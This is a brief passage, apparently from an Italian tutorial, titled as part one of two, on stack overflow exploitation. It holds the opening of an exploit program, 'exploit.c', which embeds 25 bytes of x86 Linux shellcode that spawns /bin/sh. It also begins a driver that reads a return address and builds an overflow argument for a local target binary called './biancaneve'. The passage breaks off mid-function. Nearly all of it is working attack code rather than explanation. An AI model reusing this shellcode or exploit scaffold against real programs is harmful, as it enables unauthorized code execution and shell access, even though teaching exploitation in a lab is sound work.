Ali di pipistrello, shellcode e la parola magica... 1/2

#include <unistd.h>            [exploit.c]
#include <stdio.h>
#include <stdlib.h>

#define shellcode_size 25
#define BUFSIZE 100
#define program "./biancaneve"

char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x89\xca\xb0\x0b\xcd\x80";

int main(int argc, char **argv)
{
 int i;
 int addr,*ptr;
 char primo_argomento[BUFSIZE];
 char *argument[4];

 if(argc>1) addr=(int)strtoul(argv[1],NULL,16);